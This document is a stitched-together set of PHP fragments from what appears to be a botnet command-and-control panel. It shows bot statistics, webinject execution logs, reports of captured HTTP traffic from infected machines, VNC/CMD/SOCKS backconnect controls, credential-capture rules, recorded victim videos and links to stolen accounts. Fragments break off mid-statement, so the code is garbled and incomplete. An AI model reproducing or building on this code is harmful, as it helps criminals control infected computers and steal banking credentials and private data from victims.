function getBotnetStats($botnet, $i)
{
    $query1 = '';
    $query2 = '';
    if ($botnet != '') {
        $botnet = addslashes($botnet);
        $query1 = " WHERE `botnet`='{$botnet}'";
        $query2 = " AND `botnet`='{$botnet}'";
    }
    //Количетсво ботов, и время первого отчета.
    $tmp = htmlEntitiesEx(($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', "SELECT MIN(`rtime_first`), COUNT(`bot_id`), MIN(`bot_version`), MAX(`bot_version`) FROM `botnet_list`{$query1}"))) && $mt[0] > 0 ? gmdate(LNG_FORMAT_DT, $mt[0]) : '-');
    $data = THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_FIRST_BOT), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $tmp), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($mt[1])), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
    $totalBots = $mt[1];
    $minVersion = $mt[2];
    $maxVersion = $mt[3];
    //Количетсво ботов активных за последнии 24 часа.
    $tmp = ($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', 'SELECT COUNT(`bot_id`) FROM `botnet_list` WHERE `rtime_last`>=' . (CURRENT_TIME - 86400) . $query2))) ? $mt[0] : 0;
    $totalBots = '<a href="#" id="tr-botnet_activity">' . ($totalBots > 0 ? numberFormatAsFloat($tmp * 100 / $totalBots, 2) : 0) . '% -  ' . numberFormatAsInt($tmp) . '</a>';
    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS24), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $totalBots), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END;
    $data .= '<tr><td id="botnet_activity" style="display: none;">
			<h3>' . LNG_STATS_ACTIVITY . '</h3>
			<ul class="tabs">
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=7">' . LNG_STATS_ACTIVITY_7DAYS . '</a></li>
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=14">' . LNG_STATS_ACTIVITY_14DAYS . '</a></li>
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=30">' . LNG_STATS_ACTIVITY_30DAYS . '</a></li>
				</ul>
			<div class="display">
				</div>
			</td></tr>
			';
    //Максимальная и минимальная версия бота.
    $botVersions = intToVersion($minVersion) . ' — ' . intToVersion($maxVersion);
    $botVersions = '<a href="#" id="botVersions">' . $botVersions . '</a>';
    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_VERSIONS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $botVersions), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
    require_once "system/lib/db.php";
    require_once "system/lib/guiutil.php";
    $data .= jsonset(array('window.botVersions' => array()));
    foreach (array(0 => 0, 1 => time() - 60 * 60 * 24, 2 => time() - 60 * 60 * 24 * 7, 3 => time() - 60 * 60 * 24 * 31) as $id => $rtime_last) {
        $R = mysql_q(mkquery('SELECT
					`bot_version` AS `v`,
					COUNT(*) AS `n`
				 FROM `botnet_list`
				 WHERE `rtime_last` >= {i:rtime_last}
				 GROUP BY `v`
				 ORDER BY `n` DESC, `v` DESC
				 ', array('rtime_last' => $rtime_last)));
        $versions = array();
        while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
            $versions[] = array(intToVersion($r['v']), (int) $r['n']);
        }
        $data .= jsonset(array('window.botVersions[' . $id . ']' => $versions));
    }
    $ul = '';
    $ul .= '<li><a href="#" data-id="0">' . LNG_STATS_TOTAL_VERSIONS_ALL . '</a>';
    $ul .= '<li><a href="#" data-id="1">' . LNG_STATS_TOTAL_VERSIONS_DAY . '</a>';
    $ul .= '<li><a href="#" data-id="2">' . LNG_STATS_TOTAL_VERSIONS_WEEK . '</a>';
    $ul .= '<li><a href="#" data-id="3">' . LNG_STATS_TOTAL_VERSIONS_MONTH . '</a>';
    $data .= <<<HTML
<tr><td id="botVersions-td" style="display:none;">
\t\t<div id="botVersions-Display" class="clearfix">
\t\t\t<div class="pie"></div>
\t\t\t<div class="table"></div>
\t\t\t</div>
\t\t<ul class="period">
\t\t\t{$ul}
\t\t\t</ul>
\t</td></tr>

<script type="text/javascript" src="https://www.google.com/jsapi"></script>
<script src="theme/js/page-stats_main.js"></script>
HTML;
    return $data;
}
    /** Execution logs list page
     * @param int $page
     */
    function actionExecLogs($page = 1)
    {
        ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0);
        $PAGER = new Paginator($page, 50);
        $q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS
			    `b`.`bid`,
			    `b`.`name` AS `b_name`,
			    `b`.`mtime` AS `b_mtime`,
			    `h`.`botId`,
			    `h`.`etime`,
			    `h`.`exec_count`,
			    `h`.`exec_error`,
			    `h`.`debug_error`
			 FROM `botnet_webinjects_history` `h`
			    LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
			 ORDER BY
			    `h`.`etime` IS NULL DESC,
			    `b`.`mtime` DESC,
			    `h`.`etime` DESC
			 LIMIT :limit, :perpage
			 ;');
        $PAGER->pdo_limit($q_logs, ':limit', ':perpage');
        $q_logs->execute();
        $PAGER->total($this->db->found_rows());
        echo '<table id="exec-logs" class="zebra lined">';
        echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>';
        echo '<TBODY>';
        while ($log = $q_logs->fetchObject()) {
            $state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error);
            switch ($state) {
                case '111':
                    $state_text = 'pending';
                    break;
                case '011':
                    $state_text = 'success';
                    break;
                case '001':
                    $state_text = 'exec error';
                    break;
                case '010':
                    $state_text = 'bot error';
                    break;
                default:
                    $state_text = '???';
                    break;
            }
            echo '<tr class="state' . $state . '">';
            echo '<th>', htmlentities($log->botId), '</th>';
            echo '<td>', htmlentities($log->b_name), '</td>';
            echo '<td>', $state_text, '</td>';
            # Exec count
            echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>';
            # Exec time
            echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>';
            # Exec error
            echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>';
            # Debug error
            echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>';
            echo '</tr>';
        }
        echo '</TBODY>';
        echo '</table>';
        echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator');
        echo <<<HTML
\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css">
HTML;
        ThemeEnd();
    }
        echo '<li id="aside-report-favorite">', '<button>', LNG_REPORTS_ASIDE_FAVORITE1, '</button>', '<form action="?m=/reports_fav/ajaxAdd" method="POST">', '<input type="hidden" name="table" value="', $_GET['t'], '" />', '<input type="hidden" name="report_id" value="', $_GET['id'], '" />', '<textarea name="comment" rows="20" placeholder="comment">', htmlentities($report->favorite_comment), '</textarea>', '<input type="submit" value="', LNG_REPORTS_ASIDE_SAVE, '" />', '</form>', '</li>';
    }
    if (file_exists('system/botnet_vnc.php')) {
        echo '<li id="aside-vnc"><dl><dt class="collapsible collapsed" id="aside-vnc">VNC</dt>', '<dd>' . vncplugin_draw_connect_options($report->bot_id) . '</dd>';
    }
    if (file_exists('system/reports_hatkeeper.php')) {
        $rule_domain = parse_url($report->path_source, PHP_URL_HOST);
        if (strncasecmp($rule_domain, 'www.', 4) === 0) {
            $rule_domain = substr($rule_domain, 4);
        }
        $rule_urls = array('url' => "^{$report->path_source}", 'domain' => "^.+://(.+\\.|){$rule_domain}/.*", 'any' => '^.*');
        echo '<li id="aside-hatkeeper"><dl><dt class="collapsible collapsed">', LNG_REPORTS_ASIDE_HK, '</dt>', '<dd>', '<form ', ' action="?m=reports_hatkeeper/AjaxInsert&botId=', rawurlencode($report->bot_id), '&report=', rawurlencode($_GET['t'] . ':' . $report->id), '" ', ' method="POST"><ul>', '<li><dl>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_URL, '</dt>', '<dd>', '<input type="text" name="rule_url" value="', htmlentities($rule_urls['domain']), '" />', '<ul class="url-rule-presets">', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['url']), '">URL</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['domain']), '">Domain</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['any']), '">Any</a>', '</li>', '</ul>', '</dd>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_POST, '</dt>', '<dd>', '<textarea name="rule_post" placeholder="a=b" rows=10></textarea>', '</dd>', '</dl>', '<li><label><input type="checkbox" name="mkenvironment" value="1" /> ' . LNG_REPORTS_ASIDE_HK_MKENVIRONMENT . '</label>', file_exists('system/botnet_vnc.php') ? '<li><label><input type="checkbox" name="bsocks" value="1" /> ' . LNG_REPORTS_ASIDE_HK_BSOCKS . '</label>' : '', '<li><input type="submit" value="', LNG_REPORTS_ASIDE_HK_CREATE, '" />', '<li id="hatkeeper-config-link">', '<a href="' . authTokenURL('reports_hatkeeper/xml') . '&botId=', rawurlencode($report->bot_id), '" target="_blank">', LNG_REPORTS_ASIDE_HK_CONFIGLINK, '</a>', '</ul></form>', '</dd>';
    }
    echo '</ul>', '</aside>';
    # Display
    echo '<table id="full-bot-report" class="bot-report zebra lined" ', 'data-table="', $_GET['t'], '" data-report="', $report->id, '" ', 'data-botid="', htmlentities($report->bot_id), '" data-ipv4="', htmlentities($report->ipv4), '"', '>', '<caption>', sprintf(LNG_REPORTS_VIEW_TITLE2, bltToLng($report->type), numberFormatAsInt(strlen($report->context))), ' ', gmdate(LNG_FORMAT_DT, $report->rtime), '</caption>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_BOTID, '</th>', '<td>', '<img src="theme/images/icons/' . ($report->bot_online && $report->bot_online <= $GLOBALS['config']['botnet_timeout'] ? 'online' : 'offline') . '.png" /> ', botPopupMenu($report->bot_id, 'botmenu', $report->bot_comment), ' (', htmlentities($report->ip_c), ' — ', $report->ip_country, ')', ' ', htmlentities($report->botnet), '</td>', '</tr>', '<tr class="field-bot-comment">', '<th>', LNG_REPORTS_VIEW_COMMENT, '</th>', '<td>', '<form action="?', mkuri(1, 'm'), '&ajax=bot-comment&botId=', rawurlencode($report->bot_id), '" method="POST" class="ajax_form_update" data-title="Bot comment">', '<input type="text" name="comment" value="', htmlentities($report->bot_comment), '" />', '<input type="submit" value="', LNG_REPORTS_VIEW_COMMENT_SAVE, '" />', '</form>', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_BOT_RTIME_LAST, '</th>', '<td>', timeago(time() - $report->bot_rtime_last), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_VERSION, '</th>', '<td>', intToVersion($report->bot_version), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_OS, '</th>', '<td>', osDataToString($report->os_version), ' (', htmlentities($report->language_id), ')', '</td>', '</tr>', '<tr class="field-ipv4">', '<th>', LNG_REPORTS_VIEW_IPV4, '</th>', '<td>', htmlentities($report->ipv4), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TIME, '</th>', '<td>', gmdate(LNG_FORMAT_DT, $report->time_system + $report->time_localbias), ' (GMT', timeBiasToText($report->time_localbias), ')', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TICK, '</th>', '<td>', tickCountToText($report->time_tick / 1000), '</td>', '</tr>', '</TBODY>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCUSER, '</th>', '<td>', htmlspecialchars($report->process_user), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCNAME, '</th>', '<td>', htmlspecialchars($report->process_name), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCINFO, '</th>', '<td>', htmlentities($report->process_info), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_SOURCE, file_exists('system/reports_neurostat.php') && ($report->type == BLT_HTTP_REQUEST || $report->type == BLT_HTTPS_REQUEST) ? ' <a href="?m=reports_neurostat/stat' . '&botId=' . rawurlencode($report->bot_id) . '&url=' . rawurlencode($report->path_source) . '" ' . ' target="_blank"> <img src="theme/images/icons/brain.png" /> </a> ' : '', '</th>', '<td>', htmlentities($report->path_source), '</td>', '</tr>', '<tr class="context">', '<td colspan="2">', '<a href="#" id="decode-context">[ Decode ]</a>', '<div class="context">', htmlentities($report->context), '</div>', '</td>', '</tr>', '</TBODY>', '</table>';
    echo <<<HTML
<script src="theme/js/page-reports_db-report.js"></script>
HTML;
    die;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Определяем данные для фильтра.
///////////////////////////////////////////////////////////////////////////////////////////////////
//При добавлении новых параметров нужно уничтожать не нужные для js:datelist.
$filter['date1'] = isset($_GET['date1']) ? intval($_GET['date1']) : 0;
$filter['date2'] = isset($_GET['date2']) ? intval($_GET['date2']) : 0;
if ($filter['date1'] > $filter['date2']) {
    $t = $filter['date1'];
    $filter['date1'] = $filter['date2'];
    $filter['date2'] = $t;
            $mx = @mysql_fetch_row($rx);
            $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
            $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
            $url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR);
            $url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED;
            if ($_allow_edit) {
                $url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR);
            }
            $list .= THEME_LIST_ROW_BEGIN;
            if ($_allow_edit) {
                $list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1);
            }
            $list .= str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_edit), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[5]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt($mt[4])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[0]) ? $mx[0] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[1]) ? $mx[1] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[2]) ? $mx[2] : 0)), $theme_num) . THEME_LIST_ROW_END;
        }
    }
    $list .= '<tr><td colspan=8>' . $PAGER->jPager3k('?' . mkuri(1, 'm') . '&page=%page%', null, 'jPager3k') . '</td></tr>';
    $list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css" />';
    $list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css" />';
    $list .= '<script type="text/javascript" src="theme/js/jPager3k/jPager3k.js"></script>';
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Список действий.
$al = '';
if ($_allow_edit) {
    $al = LNG_BOTNET_LIST_ACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('scriptsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_LIST_ACTION_ENABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_LIST_ACTION_DISABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_LIST_ACTION_RESET), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(3, LNG_BOTNET_LIST_ACTION_REMOVE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_LIST_ACTION_ADD, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&amp;new=-1\'"'), THEME_DIALOG_ITEM_ACTION) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE;
    $al = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $al, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
}
//Вывод.
ThemeBegin(LNG_BOTNET, $js_script, 0, 0);
    echo '<dt>', LNG_CREATE_CONNECTION_PROTOCOL, '</dt>', '<dd>', '<label><input type="radio" name="connect[protocol]" value="1" checked /> VNC </label> ', $GLOBALS['BUILD_INI']['enabled_features']['botnet_vnc.backconnect_cmd'] ? '<label><input type="radio" name="connect[protocol]" value="2" /> CMD </label> ' : '', '<label><input type="radio" name="connect[protocol]" value="5" /> SOCKS</label>', '</dd>';
    echo '</dl>';
    echo '<button name="connect[do_connect]" value="1">', LNG_CREATE_CONNECTION_CONNECT, '</button>';
    echo '<button name="connect[do_connect]" value="-1">', LNG_CREATE_CONNECTION_AUTOCONNECT, '</button>';
    echo '</form>';
}
echo '<div align="right"><pre>', '<a href="?m=ajax_config&action=botnetVNC" class="ajax_colorbox">', LNG_CONFIG, '</a>', '</pre></div>';
echo '</tr></td>';
# ==========[ BOTS LIST ]========== #
echo str_replace(array('{WIDTH}', '{COLUMNS_COUNT}', '{TEXT}'), array('100%', 1, LNG_BOTS_LIST), THEME_LIST_BEGIN . THEME_LIST_TITLE), '<tr><td>';
require_once 'system/lib/db-gui.php';
$CLICKSORT = new Clicksort(false);
$CLICKSORT->addField('ctime', '+', '`c`.`ctime`');
$CLICKSORT->addField('bot_os', '+', '`bot_os`');
$CLICKSORT->config(empty($_GET['sort']) ? '' : $_GET['sort'], 'ctime+');
$CLICKSORT->render_url('?' . mkuri(0, 'sort') . '&sort=');
$R = mysql_query(<<<SQL
\tSELECT 
\t\t`c`.*,
\t\t`b`.`os_version` AS `bot_os`,
\t\tIF(`b`.`rtime_last` >= (UNIX_TIMESTAMP()-{$config['botnet_timeout']}), 
\t\t\t\tUNIX_TIMESTAMP() - `b`.`rtime_online`, 
\t\t\t\t0) AS `bot_online`,
\t\t`b`.`rtime_last` AS `bot_rtime_last`,
\t\t`b`.`comment` AS `bot_comment`
\tFROM `vnc_bot_connections` `c`
\t\tLEFT JOIN `botnet_list` `b` ON(`c`.`bot_id` = `b`.`bot_id`) 
\tORDER BY
\t\t{$CLICKSORT->orderBy()},
\t\t/* `c`.`ctime` DESC, */
\t\t`b`.`rtime_last` DESC
     if (filemtime($file) >= $_GET['date0'] && filemtime($file) <= $_GET['date1']) {
         $files[$file] = filectime($file);
     }
 }
 arsort($files);
 # Paginate
 $perpage = 50;
 $page = isset($_GET['page']) ? $_GET['page'] : 1;
 $limit_from = ($page - 1) * $perpage;
 $pages = ceil(count($files) / $perpage);
 $files = array_slice($files, $limit_from, $perpage);
 # Search results
 echo '<tr><td><ul id="webm_list">';
 foreach ($files as $file => $mtime) {
     if (strlen($file = trim($file))) {
         echo '<li>', '<span class="date">' . date('d.m.Y H:i:s', $mtime) . '</span>', '<a class="playvideo" href="./' . $file . '">' . $file . '</a> ', ' <a href="?' . mkuri(1, 'm') . '&ajax=delete-file" data-file="' . $file . '" class="delete-file"><img src="theme/images/icons/delete.png" /></a>', '</li>';
     }
 }
 echo '</ul></td></tr>';
 # Paginator
 echo '<tr><td>';
 $getstr = '?';
 foreach ($_GET as $k => $v) {
     if ($k != 'page') {
         $getstr .= urlencode($k) . '=' . urlencode($v) . '&';
     }
 }
 for ($p = 1; $p <= $pages; $p++) {
     if ($p == $page) {
         echo " <b> [ {$p} ] </b> ";
     } else {
function link2bot_accs($bot_id, $rule_id = null)
{
    return sprintf('<a href="?%s&list=accs&bot=%s&rule=%s">%s</a>', mkuri(1, 'm'), urlencode($bot_id), $rule_id, $bot_id);
}